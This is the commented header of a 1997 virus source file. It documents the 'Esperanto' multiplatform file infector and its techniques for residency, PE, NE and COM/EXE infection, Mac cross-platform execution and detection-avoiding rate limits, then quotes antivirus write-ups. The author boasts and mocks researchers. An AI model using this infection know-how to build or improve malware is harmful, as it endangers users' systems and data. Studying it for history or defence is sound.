; ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; ³ /\/\/\/\/ Esperanto \/\/\/\/\ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; ³ written by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; ³ A MULTIPROCESSOR and MULTIPLATFORM virus ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ; 0. Introduction ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Welcome to Esperanto, world's first multiprocessor and multiplatform virus ; ever, which is (pretty obviously) my best virus so far. It took me several ; months to write it, assemble the whole thing, and put it together into one ; only file, id est, the virus binary. In every moment i tried to write such ; a clear, modulized, easily understandable code to the detriment of optimi- ; zation. However i'm conscious it's necessary to write a previous deep ana- ; lysis so everybody may clearly understand the 100% of its functioning. ; ; ; 1. Processors/platforms/objects ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Esperanto is able to run in three different kinds of processors, which are ; Intel 80x86 (used in common PCs), Motorola 680x0 (used in old Apple Macin- ; tosh computers and in new Macintosh Performa) and PowerPC 6xx (used in new ; Power Macintosh and PowerBook computers). ; ; Inside each of these processors it is able to work in several different ; platforms, thus, in Intel 80x86 processors it will run under DOS, Windows ; 3.1x, Windows95, WindowsNT and Win32s, and in Motorola and PowerPC it will ; run under any version of Mac OS (since early 6.x up to the recently relea- ; sed Mac OS 8, which has been fully tested under); albeit Amiga computers ; use also Motorola processors, Esperanto will not be able to work in them. ; ; And now finally, depending on the platform Esperanto is being executed in, ; it will infect several different objects; when running in DOS and Windows ; 3.1x it will infect: COM, EXE, NewEXE, and PE files. Under Windows95, Win- ; dowsNT and Win32s (Win32 from now onwards) it will infect COM, EXE, and PE ; files. Finally, when run under Mac OS, it will infect Mac OS applications, ; including extensions, control panels, the System File, the Mac OS Finder, ; the DA Handler, and, if available, the Desktop File (only in Mac OS <7). ; ; The following diagram is pretty useful to understand the above: ; ; ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ DOS ÄÄÄÄÄÄ COM, EXE, NewEXE, PE ; ÚÄÄÄÄÄÄÄÄij Intel 80x86 ÃÄÄÄÅÄ Win 3.1x Ä COM, EXE, NewEXE, PE ; ³ ³ (PCs) ³ ÀÄ Win32 ÄÄÄÄ COM, EXE, PE ; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ÚÄÄÄÄÄÁÄÄÄÄÄ¿ ³ Motorola 680x0 ³ ; ³ Esperanto ÃÄij (Old Macs) ÃÄ¿ ÚÄ Mac OS Apps ; ÀÄÄÄÄÄÂÄÄÄÄÄÙ ³ (Mac Performa) ³ ³ ÃÄ System File ; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄ Mac OS ÄÄÅÄ Mac OS Finder ; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÃÄ DA Handler ; ³ ³ PowerPC 6xx ³ ³ ÀÄ Desktop File ; ÀÄÄÄÄÄÄÄÄij (Power Macs) ÃÄÄÙ (Mac OS <7) ; ³ (PowerBooks) ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; ; 2.0. Internal structure ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Esperanto gets the compatibility and the portability between these three ; different processors by means of the strategyc use of its internal struc- ; ture, so it's completely necessary to see what does it consist on in order ; to understand the way Esperanto works. ; ; Maybe the first question which comes up to your mind is something similar ; to "how the fuck can it jump from PCs to Macintoshes?". Theoretically, it ; would be impossible, as PC applications are compiled for Intel processors, ; which use different opcodes than the ones used by Motorola and/or PowerPC. ; But practically it was possible, by means of some tricks. I will try to ; explain them all point by point. ; ; a) How can a PC executable file jump into a Mac? Mac OS uses something si- ; milar to drivers, called "extensions". Since many time ago Mac OS in- ; cludes an extension called "PC Exchange", which is loaded by default ; and is able to read and write any PC disk. Since then lots of Macintosh ; users, by means of DOS and Win emulators, use lots of PC files in their ; Macs. The first step is, as you can see, done. ; ; b) How can Esperanto infect under Mac OS? well, this requires some theory. ; Mac OS executable files consist on definite-purpose resources (such as ; CODE, MDEF (Menu DEFinition), BNDL (bundle), etc). Every executable fi- ; le in Mac OS has a resource index or relocation at its end, and this is ; what the operating system looks for in order to distinguish executable ; and non-executable files. One of these resource indexes has been "arti- ; ficially" added to the end of the Esperanto body. This item does not do ; anything under any PC platform, but it does force Mac OS to execute in- ; fected PC programs in Macs. When going to run any of these PC programs ; under one of the known DOS or Win emulators, Mac OS will recognize the ; executable format and then will run the infected file with no emulation ; so Esperanto will go memory resident under Mac OS. After this, the con- ; trol will be given back to the Intel emulator and then the infected fi- ; le will be normally executed, being possible to stay memory resident in ; the virtual memory used by the DOS or Win emulator as well. ; ; c) But aren't the opcodes of each processor different? indeed. And that is ; why Esperanto has a specific infection routine for Mac OS applications ; totally written and compiled in Motorola 680x0 code. This submodule was ; incrusted into the main Esperanto body and is pointed by the previously ; mentioned resource index. When an infected application is run in Mac OS ; after having been recognized as an executable file the operating system ; first checks the resource index. A pointer to a MDEF resource will be ; found in it, and then the execution will jump straight to the starting ; offset pointed to in the resource index, where the so called "jump ta- ; ble" is supposed to be. This jump table is another characteristic of ; Mac OS applications, and its mission consists on managing the hierarchy ; of the execution of the different resources in a file. This jump table ; does not actually exist in Esperanto; instead of it there is a jmp ins- ; truction (Intel-opcoded) which in PCs will jump to the virus real start ; and in Macintoshes will be interpreted as non-sense data, so it will be ; skipped... until the next instruction, a Motorola one, is reached. That ; is the first instruction of the Mac OS module which, consequently, will ; be run as execution goes on. Our objective is done. ; ; d) And how can the virus run in PowerPC processors? since these processors ; are used in Power Macintosh and PowerBook computers, in Apple they had ; to look for some kind of compatibility between old applications (which ; were compiled for Motorola) and the new processors, so they eventually ; came up with the idea of including a Motorola code emulator inside the ; new Mac OS kernel. Since then there's a full compatibility between both ; processors and their applications, and that's why Esperanto is able too ; to work in PowerPC-based machines which use Mac OS. ; ; e) How can Esperanto jump from Macs to PCs? also very easy. The virus will ; infect every PC file it finds in the DOS/Win emulator and as soon as o- ; ne of these files is copied to a PC the work will be done. And remember ; there's no necessity of any floppy disks, as it's usual to find PC com- ; puters connected to Macintoshes by networking means. That's why none of ; the "foreign" infections (of Mac apps in PC, and of PC files in Mac OS) ; was included in the virus, as they would be a loss of bytes. ; ; Once this all is understood it is much simpler to understand the internal ; structure of the virus. Esperanto consists on four different modules and ; four entry points. There is a specific virus module for Mac OS, DOS, Win, ; and Win32. And there is one entry point for each of them: the first one is ; "universal", it's the one we've just described above. It is valid for COM, ; EXE and Mac OS apps, and it is formed only by a simple "jmp" instruction, ; whose mission consists on "discriminating" the processor it is working un- ; der and, depending on that, distributing the execution point either to the ; start of the Mac OS module or to the start of the DOS one. The second en- ; try point is the one straight reached in this last case, and it is valid ; only for COM and EXE files. The third entry point is the one used by the ; Windows 3.1x module, and finally the fourth deals with the Win32 code. ; ; Again, the use of a diagram will make things much simpler to understand: ; ; ; ÚÄÄÄÄÄÄ¿ ; ÚÄÅÄÄÄÄÄÄÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÄÄ Universal entry point ; ³ ÀÄÄÄÄijÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÃÄÄ Mac OS entry point ; ³ ³ÛÛÛÛ Mac OS ÛÛÛÛ³ ; ³ ³ÛÛÛÛ module ÛÛÛÛ³ ; ³ ³ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ³ ; ÀÄÄÄÄÄÄij±±±±±±±±±±±±±±±±ÃÄÄ COM/EXE entry point ; ³±± DOS module ±±³ ; ³±±(not memres)±±³ ; ÚÄÄÄÄÄÄ´±±±±±±±±±±±±±±±±³ ; ÚÄÅÄÄÄÄÄÄ´°°°°°°°°°°°°°°°°ÃÄÄ NewEXE entry point ; ³ ³ ³°° Win module °°³ ; ³ ³ ³°°°°°°°°°°°°°°°°³ ; ³ ÀÄÄÄÄij±±±±±±±±±±±±±±±±ÃÄÄ DOS memory resident code ; ÀÄÄÄÄÄÄij±± DOS module ±±ÃÄÄ 16-bit infection routines ; ³±±(memory res)±±³ ; ³±±±±±±±±±±±±±±±±³ ; ³²²²²²²²²²²²²²²²²ÃÄÄ PE entry point ; ³²² W32 module ²²³ ; ³²²²²²²²²²²²²²²²²³ ; ³++++++++++++++++ÃÄÄ Data buffer ; ³+++++ Data +++++³ ; ³++++++++++++++++³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; ; 2.1. The Mac OS module ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This module (Motorola-opcoded) was written and compiled in a Mac computer. ; It has the format of a MDEF resource. It's executed every time an infected ; application is run under Mac OS. When this happens the module will perform ; the System File infection, so that the virus will be loaded every time the ; user boots from his hard disk. Then it will give control back to the host. ; ; From this moment onwards the virus will rapidly spread all over the system ; in a "chain" process: after its host has been run, the System File (remem- ; ber, previously infected) will call and then infect the Mac OS Finder. The ; Finder, in its turn, will infect *any* accessed file (findfirst, findnext, ; open, close, chmod...), and this includes the DA Handler, the Desktop File ; (if available, only in Mac OS <7), control panels, extensions, etc. ; ; Infection consists on simply adding a new MDEF resource to the victims and ; copying the whole viral code into it, setting execution priviledges to the ; resource with ID=0. Esperanto will not go memory resident twice. ; ; I think it would be fair to say that this was probably the part of the vi- ; rus whose writing i enjoyed most as i had to develop it all myself because ; there are not any tutorials on Mac OS infection (as far as i know). ; ; ; 2.2.0. The DOS module ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This module uses 16-bit Intel code, and was specifically designed to run ; in DOS. It has the peculiarity of being divided into two different chunks, ; each of them with a different mission. Now i'll try to describe the func- ; tioning and the behavior of both of these DOS submodules. ; ; ; 2.2.1. The DOS runtime module ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This submodule is executed every time an infected COM or EXE file is run. ; When this happens, the DOS runtime module will try to perform two actions: ; first, become memory resident by hooking interrupt 21h; and second, resto- ; re its host in order to let it be executed. ; ; The residency method is completely standard, as the virus first checks for ; its presence in memory (in order to not to go resident twice), and if this ; is ok then creates a new MCB, sets it as a system one used by DOS, copies ; its code into it and then jumps to this copy, so no ëelta-offset is longer ; needed. Once this happens it will hook interrupt 21h, setting the new vec- ; tor to the start of the DOS memory resident module, and then will check ; for the file format of its host, in order to rebuild and jump to it. ; ; ; 2.2.2. The DOS memory resident module ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This submodule is executed every time the interrupt 21h is called once the ; virus has previously gone memory resident. Esperanto intercepts only three ; functions: its own interrupt service (a ":)" smiley), the findfirst servi- ; ce (4eh) and the findnext service (4fh). If the int call does not hold any ; of these services as request, the virus will jump to the original int 21h. ; ; Instead, Esperanto will perform several actions when having intercepted a- ; ny of the functions in hooks. When the value held in AX is equal to 3a29h, ; which stands for a ":)" smiley, it will increment AH so the eyes will turn ; into a ";)" wink. This is used for the residency check to not to go memory ; resident twice. The execution will then jump to the original interrupt. ; ; If the value held in AH is equal to 4eh or 4fh (findfirst/findnext), Espe- ; ranto will try to set up the file for its infection. The virus will first ; store the full path and the filename, and later will check its extension. ; If the extension is .COM or .EXE, Esperanto will continue running the cor- ; responding routines encharged of examining the file and determining whe- ; ther it is infectable or not. Otherwise it will hand the control over the ; original interrupt service by means of a "retf" instruction. ; ; ; The 16-bit infection routines ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; For the case the latter didn't happen, Esperanto is about to check the fi- ; le in DS:DX in order to know if it is worth to be infected or not. But be- ; fore doing any specific file check (which would depend on its extension), ; the virus does a call to the "system_checks" routine. This routine is kind ; of an "infection limiter", used in order to avoid the virus presence being ; unveiled because of the system slowdown which would happen if there were ; no limits when infecting files. Thus, Esperanto will infect from 0 up to 3 ; files per (a maximum of a) minute. If the "system_checks" routine does not ; return a 0 in AH, then Esperanto has not infected 3 files yet in the same ; minute, so it may keep on seeking for victims. ; ; Now, if the possible victim is a COM file, the virus will check first for ; its infection mark (a ";)" smiley) in the offset 4 of the file. If this is ; ok then it will just assure itself the file is bigger than 5733 (the virus ; size+1000) and smaller than 59802 (65535-the virus size-1000). If the file ; has passed all the tests then it's good to be infected: 4733 bytes will be ; appended to its end and it will have a new 5 bytes long header (jmp+";)"). ; ; The conditions required for EXE files are different. The virus will see if ; the first word in the file is MZ or ZM. Later it will check for its infec- ; tion mark, any overlay, and the presence of PkLite. If nothing goes bad it ; will then skip the file if it's smaller than 5733 (Esperanto+1000) and fi- ; nally will see if it is a Windows EXE file. For the case it is not the vi- ; rus will modify CS, IP, SS and SP besides other pointers in the MZ header, ; and then append itself to the end of the file. ; ; If it is about a Windows EXE file, it will decrement the pointer in 3ch to ; the new EXE header by 8, and then rewrite the MZ header. This new EXE hea- ; der will be read (512 bytes) and then Esperanto will check for the NE (for ; NewEXEs) or PE (for PEs) mark. If a different mark (LE, LX...) is found, ; the file will be rejected, and the original header rebuilt. If it is about ; a NewEXE, the virus will check straight for the gangload area. If it is ok ; then Esperanto will infect the file: first it will update all the pointers ; related with the segment table, as it will be shifted. Later, the gangload ; area will be killed for compatibility, and the new CS:IP will be set. Fi- ; nally the NE header and the segment table will be shifted by 8 and the vi- ; ral code plus the relocation item appended to the end of the file. ; ; Finally, if the file turns out to be a PE the virus will read again the MZ ; header of the file and readd 8 to the pointer in 3ch. A page from the off- ; set pointed by the latter will be read again (ie, the PE header), and then ; the checks will start again. These consist on checking if the file is exe- ; cutable and if it's not a DLL. After this, Esperanto looks for the import ; section in the file, reads it, and then looks for the KERNEL32.DLL module ; descriptor. Files which do not import any API from it will consequently be ; discarded, as well as binded files. The final step before infection con- ; sists on storing in a dynamic variable the RVAs for the GetModuleHandleA ; and GetProcAddress APIs. Once these steps are done the victim is ready for ; infection. The virus will attach itself as an extension of the last sec- ; tion in the file, and then will modify the AddressOfEntryPoint field so it ; points to the start of the virus, the section characteristics to exec/read ; /write, and the SizeOfImage field. And, of course, the virus will then ap- ; pend its body to the end of the file. ; ; ; 2.3. The Windows 3.1x module ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This module is executed every time an infected NewEXE file is run. It will ; first of all get an alias selector for CS and point it with DS. As soon as ; this is done it will use its own runtime routines in order to look for so- ; me files (COM and EXE) to infect. To save bytes, the module shares the sa- ; me infection routines used by the DOS module (read the "The 16-bit infec- ; tion routines" point for further information). As soon as the maximum num- ; ber of files to infect (according to the virus limiter) is reached, Espe- ; ranto will jump to the original CS:IP of its host. ; ; ; 2.4. The Win32 module ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This last module is executed every time an infected PE file is run. It was ; written and compiled in 32-bit protected mode, and that is what it is able ; to work in: Win32 platforms (Win32s/Windows95/WindowsNT). When it's execu- ; ted it first gets the base address of its host and pushes its real entry ; point, and later performs several actions in order to stay compatible and ; portable between all the Win32 platforms. These actions consist on getting ; the previously stored RVA of GetModuleHandleA and calling this API in or- ; der to get the address of the KERNEL32 module, and later getting the also ; previously stored RVA of GetProcAddress in order to use it and thus be a- ; ble to get the address of all the APIs needed by Esperanto. If the RVAs of ; GetModuleHandleA and GetProcAddress were not stored for some reason, Espe- ; ranto would use its own undocumented routines in order to get the base ad- ; dress of KERNEL32 and, inside the export table of the latter, the address ; of the GetProcAddress API function. ; ; Once these steps are done Esperanto calls the GetLocalTime API in order to ; know if the current date is the one required by the payload to activate. ; This payload and its effects are fully described below. If the date is not ; the one the payload needs to activate then the execution will continue and ; the virus will use the FindFirstFileA/FindNextFileA APIs in order to find ; some files to infect. Again, the infection will be controlled and Esperan- ; to will hit a maximum of three files per run. The checks performed by this ; module are the same than the ones performed by the DOS module, and the in- ; fection routines consist on exactly the same, besides in two points: first ; of them is the fact that this module uses file mapping in memory in order ; to make things easier and save bytes; and second is that this module does ; not infect NewEXE files, as divisions with 32-bit integers when DX is not ; equal to zero cause troubles; the solution would be either only infecting ; NewEXEs < 0ffffh (as done with EXEs) or making a 16-bit division. I didn't ; like any of them so i avoided a headache just by skipping NewEXE files. ; ; ; 2.5. Union makes the power ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; It's not about the fact that this virus has been written to be in the wild ; or shit like that. In fact i did not take care about restoring file attri- ; butes, date or time, because i wrote this just to "prove my point", not to ; release it and let it survive in the wild, so i don't care it being easy ; to detect or unveiling its presence. It was just a challenge for myself, ; not a defiance for innocent average-level computer users. ; ; It's about its versatility. You could see the virus consists on four modu- ; les. Each of those modules was written individually and thus would be able ; to work with no need of the presence of the resting modules (except of the ; Windows 3.1x one, which shares its infection routines because of optimiza- ; tion reasons). Separately they would be normal infectors. But they all to- ; gether are a unique virus in its class. For the same reason, the infection ; ratio and the versatility of the virus are much bigger than if it would be ; separated into independent modules: the DOS module goes memory resident in ; order to infect files while the Windows 3.1x and the Win32 ones use runti- ; me infection. But what happens if the virus (the DOS module) is memory re- ; sident and Windows 3.1x or a Win32 platform is loaded? the result is that ; Esperanto will then use both memory *and* runtime infection as the DOS mo- ; dule is able to stay resident also under Windows and both Windows 3.1x and ; Win32 call the original 4eh/4fh services of interrupt 21h in order to find ; files. Esperanto would be, as you can see, much more infectious. And don't ; see this as a remote possibility, as WIN.COM is usually the first file the ; virus infects from its Windows 3.1x module, for instance. ; ; Finally i would like to add a clarification about the virus. You will pro- ; bably find strange or non-sense things on it, or even things you can't un- ; derstand or think they're wrong or could be improved. And you will kind be ; right and kind be wrong... "they are not bugs, they are features". What do ; are bugs are some included on purpose in order to stop the virus spreading ; fast so it can't go too far in the wild. ; ; Note again that the purpose of this virus is not to infect people and thus ; become widespread in the wild; its real objective is summed up in the pre- ; tty famous Nike slogan... "just do it" ;) ; ; ; 3. Payload ; ÄÄÄÄÄÄÄÄÄÄ ; This virus took its name after the universal language Esperanto. This lan- ; guage was invented in 1887 by L.L.Zamenhof, a polish doctor. Esperanto was ; designed to be the second language of everyone, and then was invented with ; no irregularities and/or exceptions, so everybody would be able to rapidly ; and easily learn it and communicate with other Esperanto speakers. It ini- ; tially had a lot of success, but its growing process was stopped by the II ; World War as lots of its speakers died in it. Since about ten years ago it ; is experiencing a new peak, and its use has been recommended many times by ; international organisms such as UNESCO, which also stress its paedagogy as ; Esperanto, once learnt, makes the learning process of other languages much ; easier. Today, Esperanto is spoken by about ten million people. ; ; I found some parallelism between this language and my virus because as the ; language goes beyond any culture, race or whatsoever the virus goes beyond ; any processor, platform or file format. And also because i personally sup- ; port and speak Esperanto it seemed to me the perfect name for my virus. ; ; The payload activates every year on july 26th, which was the release date, ; in 1887, of "Internacia Lingvo" (International Language), by Zamenhof, the ; first book written in Esperanto. Today there are over ten thousand titles. ; The virus payload will activate only when running in a Win32 platform, and ; consists on showing the text below within a message box. When the user ac- ; cepts the "ok" button the virus jumps straight to the host, without infec- ; ting any file (that's its only vacancy time). ; ; ; Never mind your culture / Ne gravas via kulturo, ; Esperanto will go beyond it / Esperanto preterpasos gxin; ; never mind the differences / ne gravas la diferencoj, ; Esperanto will overcome them / Esperanto superos ilin. ; ; Never mind your processor / Ne gravas via procesoro, ; Esperanto will work in it / Esperanto funkcios sub gxi; ; never mind your platform / Ne gravas via platformo, ; Esperanto will infect it / Esperanto infektos gxin. ; ; Now not only a human language, but also a virus... ; Turning impossible into possible, Esperanto. ; ; ; What reads after the slash in every line is, of course, the translation of ; the english "verse" into Esperanto. And yes, i know it looks strange :) ; ; ; 4.0 The "other side" ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; It has only passed one week after having sent the virus to two AVers. This ; is what we could get from them by the moment. Further reports and analyses ; will be referenced in the next issue of 29A. ; ; ; 4.1. Mikko Hypp”nen speaks (F-Prot) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; (*) http://www.DataFellows.com/v-descs/esperant.htm ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; NAME: Esperanto ; TYPE: Resident COM/EXE-files ; ; This virus infects lots of different executables: ; ; When running in DOS and Windows 3.1x it will infect: ; - DOS COM files ; - DOS EXE files ; - Windows 3.x NewEXE files, ; - Windows 95 PE EXE files ; - Windows NT PE EXE files ; ; When running in Windows 95, Windows NT and Win32s it will infect: ; - DOS COM files ; - DOS EXE files ; - Windows 95 PE EXE files ; - Windows NT PE EXE files ; ; The virus carries a dropper of a Macintosh virus in it's code. ; This will work under Mac and PowerMac and will infect: ; - Mac OS applications ; - Extensions ; - Control panels ; - The System File ; - The Mac OS Finder ; - The DA Handler ; - The Desktop File ; ; When Esperanto is running on a PC, it will stay resident and infect ; programs when they are accessed. ; ; When such COM and EXE files are taken to a Macintosh or a PowerMac and ; executed under a PC emulator such as SoftPC or SoftWindows, they will ; execute as Mac programs. This happens because Esperanto adds a special ; resource-like add-on to PC files. Such programs will drop a Mac-specific ; virus which will continue spreading on Macintosh computers. The Mac ; version of the virus will not spread back to PC users. PC version of ; the virus won't infect Mac executables directly even if it would ; have access to them through floppies or file sharing. ; ; Esperanto activates every year on July 26th. The first book in the ; international Esperanto language was released on this date. When an ; infected file is executed under Windows 95 or Windows NT on this date, ; the virus will show a dialog box with the following texts: ; ; Never mind your culture / Ne gravas via kulturo, ; Esperanto will go beyond it / Esperanto preterpasos gxin; ; never mind the differences / ne gravas la diferencoj, ; Esperanto will overcome them / Esperanto superos ilin. ; ; Never mind your processor / Ne gravas via procesoro, ; Esperanto will work in it / Esperanto funkcios sub gxi; ; never mind your platform / Ne gravas via platformo, ; Esperanto will infect it / Esperanto infektos gxin. ; ; Now not only a human language, but also a virus... ; Turning impossible into possible, Esperanto. ; ; The Mac version of Esperanto was the first new Mac virus for over two ; years when it was discovered in November 1997. ; ; [Analysis: Mikko Hypponen, Data Fellows Ltd] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; ; 4.2. Eugene Kaspersky speaks (AVP) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; (*) http://www.avp.ch/avpve/file/e/esperant.stm ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; Esperanto.4733 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This is a multiplatform parasitic virus. It infects DOS COM and EXE, ; Windows EXE (NE) and Windows32 EXE (PE) files. It also has a part of ; code that looks like a MDEF Macintosh resource and seems to be also a ; virus for the Macintosh. I see no way for that virus to spread from ; Macintosh to PC, and from PC to Macintosh - being executed as DOS/Win ; application the virus pays no attention for Mac files. It seems to be ; the same for infected Mac programs - the virus does not pay attention ; for DOS/Win files. I think that the only way to spread that virus from ; Mac to PC and back is to copy and run it "manually". ; ; When an infected file is executed under DOS, the virus hooks INT 21h and ; stays memory resident. When files are executed or accessed by FindFirst/ ; Next DOS calls, the virus infects them. The virus also searches for COM ; and EXE files and infects them. Being executed as Windows or Windows32 ; application, the virus does not leave its TSR copy in the memory - it ; just searches for files and infects them. ; ; While infecting the virus parses internal file format, separates DOS COM, ; EXE, NewEXE and Portable EXE files and infects them in different ways: ; writes itself to the end of DOS COM and EXE files and modifies file ; header, creates new section in Windows NE files, appends itself to the ; last section in Windows32 PE files. ; ; Being executed as Windows32 application the virus also checks the system ; time and depending on it displays the MessageBox: ; ; [Esperanto, by Mister Sandman/29A] ; Never mind your culture / Ne gravas via kulturo, ; Esperanto will go beyond it / Esperanto preterpasos gxin; ; never mind the differences / ne gravas la diferencoj, ; Esperanto will overcome them / Esperanto superos ilin. ; ; Never mind your processor / Ne gravas via procesoro, ; Esperanto will work in it / Esperanto funkcios sub gxi; ; never mind your platform / Ne gravas via platformo, ; Esperanto will infect it / Esperanto infektos gxin. ; ; Now not only a human language, but also a virus... ; Turning impossible into possible, Esperanto. ; ; The virus also contains the text strings that are used while infecting ; Windows32 files: ; ; KERNEL32.DLL USER32.DLL GetModuleHandleA GetProcAddress MessageBoxA ; CreateFileA CreateFileMappingA MapViewOfFile UnmapViewOfFile CloseHandle ; FindFirstFileA FindNextFileA FindClose LoadLibraryA GetLocalTime ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; ; 4.3 Keith Peer speaks (AVP) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; (*) alt.comp.virus ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; From - Sat Nov 22 02:03:41 1997 ; From: Keith Peer ; Newsgroups: alt.comp.virus ; Subject: New Multi-Operating System virus discovered! ; Date: Thu, 20 Nov 1997 12:54:01 -0500 ; Organization: Central Command Inc. ; To: virus-l@lehigh.edu ; ; November 20, 1997 ; ; FOR IMMEDIATE RELEASE ; ; Renee Barnhardt ; Central Command Inc. ; 330-273-2820 ; renee@command-hq.com ; ; Central Command today announces the discovery of new multi-operating ; system virus. ; ; New cross platform virus that can infect all popular desktop computers. ; ; Brunswick, OH, November 20, 1997 Central Command Inc. the U.S. distributor ; for AntiViral Toolkit Pro (AVP) announces today that a new computer virus ; has been discovered that can operate under DOS, Windows, Windows 95, ; Windows NT, and Macintosh operating systems. ; ; "We are seeing a lot of new technology in computer viruses today. It seems ; that the virus writers are concentrating more on developing sophisticated ; viruses that extend further and infect more widely. I am sure this will ; not be the last virus we encounter that can infect DOS, Windows, Windows ; 95, Windows NT, and Macintosh operating systems, but right now this is ; the first." Said Central Command's President, Keith Peer. ; ; This multiplatform parasitic virus named Esperanto.4733, infects DOS, COM ; and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It also ; has instructions that look for MDEF Macintosh resources and also operates ; under the Macintosh environment. There is no way for this virus to spread ; from Macintosh to PC, and from PC to Macintosh. When a infected program ; is started as a DOS or Windows application the virus does not execute the ; Macintosh instructions. The same effect happens when a infected Macintosh ; program is started, the virus simply ignores the DOS, and Windows ; instructions. Currently, the only way for this virus to spread from a PC ; to a Macintosh is by copying it. ; ; While infecting the virus searches the internal file format of the ; programs, and separates DOS, COM and EXE programs, Windows, Windows 95, ; Windows NT, and Macintosh programs and infects differently. ; ; [...Publicity...] ; ; --------------------------------------------------------- ; Central Command Inc. AntiViral Toolkit Pro ; http://www.command-hq.com sales@command-hq.com ; Ph: 330-273-2820 Fax: 330-220-4129 ; -> See our website for free software evaluations! <- ; --------------------------------------------------------- ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; ; 4.4. Guillermito speaks ;) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; (*) alt.comp.virus ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; From - Sat Nov 22 02:04:19 1997 ; From: Guillermito ; Newsgroups: alt.comp.virus ; Subject: Re: New Multi-Operating System virus discovered! ; Date: Fri, 21 Nov 1997 09:16:28 +0100 ; Organization: INRA des Villes ; ; Keith Peer wrote: ; ; > This multiplatform parasitic virus named Esperanto.4733, infects DOS, ; > COM and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It ; > also has instructions that look for MDEF Macintosh resources and also ; > operates under the Macintosh environment. ; ; Hey MrSandman! Lo has conseguido! Que cojonudo, tio! ; ; Cabanas/Esperanto: 29A is the best virus group on earth. ; ; -- ; Guillermito ; http://www.pipo.com/guillermito/darkweb/virus.html ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; My reply: lo tuyo s¡ que se sale... ;) Espero verte de nuevo en la pr¢xima ; reuni¢n de 29A este verano, a ver si esta vez no te pierdes en Madrid ;) ; ; Btw, the guys at AVP don't seem to have understood very well the way Espe- ; ranto jumps from a PC to a Macintosh computer. I would also like to make a ; special mention to Alan Sollomon (aka Alan Salmon), who, resentful for not ; being one of "the chosen", tried to follow Bontchev's steps (he knows what ; i mean). This makes nothing but confirming my opinion on who in the AV si- ; de makes a serious and proffesional work and who prefers to get some noto- ; riousness by trying to create actually inexistent conflicts between VX and ; AV and even between AV and AV themselves, rather than cordiality. ; ; "That's the way they act, that's why their products suck". ; ; And Kaspersky... you rock, but you should stop believing you're a god. Get ; some time to learn a better english and something on Win32 viruses, try to ; approach your previous modest behavior rather than Daniloff's, and that is ; when you'll start to write again those dazzling virus analyses such as the ; unforgettable work you did with Zhengxi. ; ; However i still admire you. ; ; ; 5. Greetings ; 